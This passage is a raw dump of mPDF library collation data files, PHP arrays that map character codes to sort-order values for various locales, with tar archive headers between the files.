225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Romanian_Romania.php000064400000002631147600022140016716 0ustar00 711, 65 => 97, 225 => 97, 193 => 97, 228 => 97, 196 => 97, 261 => 97, 260 => 97, 258 => 259, 226 => 259, 194 => 259, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 269 => 99, 268 => 99, 231 => 99, 199 => 99, 68 => 100, 271 => 100, 270 => 100, 273 => 100, 272 => 100, 69 => 101, 233 => 101, 201 => 101, 235 => 101, 203 => 101, 283 => 101, 282 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 206 => 238, 74 => 106, 75 => 107, 76 => 108, 314 => 108, 313 => 108, 318 => 108, 317 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 328 => 110, 327 => 110, 79 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 341 => 114, 340 => 114, 345 => 114, 344 => 114, 83 => 115, 347 => 115, 346 => 115, 353 => 115, 352 => 115, 223 => 115, 350 => 351, 84 => 116, 357 => 116, 356 => 116, 354 => 355, 85 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 378 => 122, 377 => 122, 380 => 122, 379 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_El_Salvador.php000064400000002533147600022140017365 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Kuwait.php000064400000001626147600022140016214 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Ukrainian_Ukraine.php000064400000002161147600022140017101 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Serbian_(Cyrillic)_Serbia.php000064400000002201147600022140020320 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/English_New_Zealand.php000064400000002551147600022140017345 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Yemen.php000064400000001626147600022140016025 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Spanish_Spain.php000064400000002533147600022140016244 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Tajik_(Cyrillic)_Tajikistan.php000064400000002201147600022140020673 0ustar00 97, 66 => 98, 67 => 99, 68 => 100, 69 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1040 => 1072, 1041 => 1073, 1042 => 1074, 1043 => 1075, 1107 => 1075, 1027 => 1075, 1168 => 1169, 1044 => 1076, 1026 => 1106, 1045 => 1077, 1105 => 1077, 1025 => 1077, 1028 => 1108, 1046 => 1078, 1047 => 1079, 1029 => 1109, 1048 => 1080, 1031 => 1111, 1049 => 1081, 1032 => 1112, 1050 => 1082, 1116 => 1082, 1036 => 1082, 1051 => 1083, 1033 => 1113, 1052 => 1084, 1053 => 1085, 1034 => 1114, 1054 => 1086, 1055 => 1087, 1056 => 1088, 1057 => 1089, 1058 => 1090, 1035 => 1115, 1059 => 1091, 1118 => 1091, 1038 => 1091, 1060 => 1092, 1061 => 1093, 1062 => 1094, 1063 => 1095, 1039 => 1119, 1064 => 1096, 1065 => 1097, 1066 => 1098, 1067 => 1099, 1068 => 1100, 1069 => 1101, 1070 => 1102, 1071 => 1103, ]; vendor/mpdf/mpdf/data/collations/Czech_Czech_Republic.php000064400000002627147600022140017506 0ustar00 711, 65 => 97, 228 => 97, 196 => 97, 225 => 97, 193 => 97, 226 => 97, 194 => 97, 259 => 97, 258 => 97, 261 => 97, 260 => 97, 66 => 98, 67 => 99, 263 => 99, 262 => 99, 231 => 99, 199 => 99, 268 => 269, 68 => 100, 271 => 100, 270 => 100, 273 => 100, 272 => 100, 69 => 101, 235 => 101, 203 => 101, 233 => 101, 201 => 101, 283 => 101, 282 => 101, 281 => 101, 280 => 101, 70 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 238 => 105, 206 => 105, 74 => 106, 75 => 107, 76 => 108, 314 => 108, 313 => 108, 318 => 108, 317 => 108, 322 => 108, 321 => 108, 77 => 109, 78 => 110, 324 => 110, 323 => 110, 328 => 110, 327 => 110, 79 => 111, 246 => 111, 214 => 111, 243 => 111, 211 => 111, 244 => 111, 212 => 111, 337 => 111, 336 => 111, 80 => 112, 81 => 113, 82 => 114, 341 => 114, 340 => 114, 344 => 345, 83 => 115, 347 => 115, 346 => 115, 351 => 115, 350 => 115, 223 => 115, 352 => 353, 84 => 116, 357 => 116, 356 => 116, 355 => 116, 354 => 116, 85 => 117, 252 => 117, 220 => 117, 250 => 117, 218 => 117, 367 => 117, 366 => 117, 369 => 117, 368 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 90 => 122, 380 => 122, 379 => 122, 378 => 122, 377 => 122, 381 => 382, ]; vendor/mpdf/mpdf/data/collations/Lower_Sorbian_Germany.php000064400000002551147600022140017734 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Alsatian_France.php000064400000002551147600022140016517 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Norwegian_(Nynorsk)_Norway.php000064400000002505147600022140020640 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 227 => 97, 195 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 252 => 121, 220 => 121, 90 => 122, 382 => 122, 381 => 122, 198 => 230, 228 => 230, 196 => 230, 216 => 248, 246 => 248, 214 => 248, 197 => 229, ]; vendor/mpdf/mpdf/data/collations/English_Republic_of_the_Philippines.php000064400000002551147600022140022613 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Quechua_Ecuador.php000064400000002551147600022140016542 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/English_Trinidad_and_Tobago.php000064400000002551147600022140021031 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Arabic_Oman.php000064400000001626147600022140015642 0ustar00 8205, 1600 => 8205, 1611 => 8205, 1612 => 8205, 1613 => 8205, 1614 => 8205, 1615 => 8205, 1616 => 8205, 1618 => 8205, 1617 => 8205, 710 => 94, 189 => 188, 190 => 179, 65 => 97, 224 => 97, 226 => 97, 66 => 98, 67 => 99, 231 => 99, 68 => 100, 69 => 101, 233 => 101, 232 => 101, 234 => 101, 235 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 238 => 105, 239 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 79 => 111, 244 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 84 => 116, 85 => 117, 249 => 117, 251 => 117, 252 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 90 => 122, 1573 => 1575, 1571 => 1575, 1570 => 1575, 1606 => 1722, 1729 => 1607, 1726 => 1607, 1572 => 1608, 1746 => 1610, 1574 => 1610, ]; vendor/mpdf/mpdf/data/collations/Turkish_Turkey.php000064400000002411147600022140016474 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 199 => 231, 68 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 286 => 287, 72 => 104, 73 => 105, 305 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 304 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 214 => 246, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 350 => 351, 84 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 220 => 252, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 255 => 121, 376 => 121, 90 => 122, ]; vendor/mpdf/mpdf/data/collations/French_Canada.php000064400000002551147600022140016141 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Luxembourgish_Luxembourg.php000064400000002551147600022140020553 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 241 => 110, 209 => 110, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, ]; vendor/mpdf/mpdf/data/collations/Spanish_Costa_Rica.php000064400000002533147600022140017201 0ustar00 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 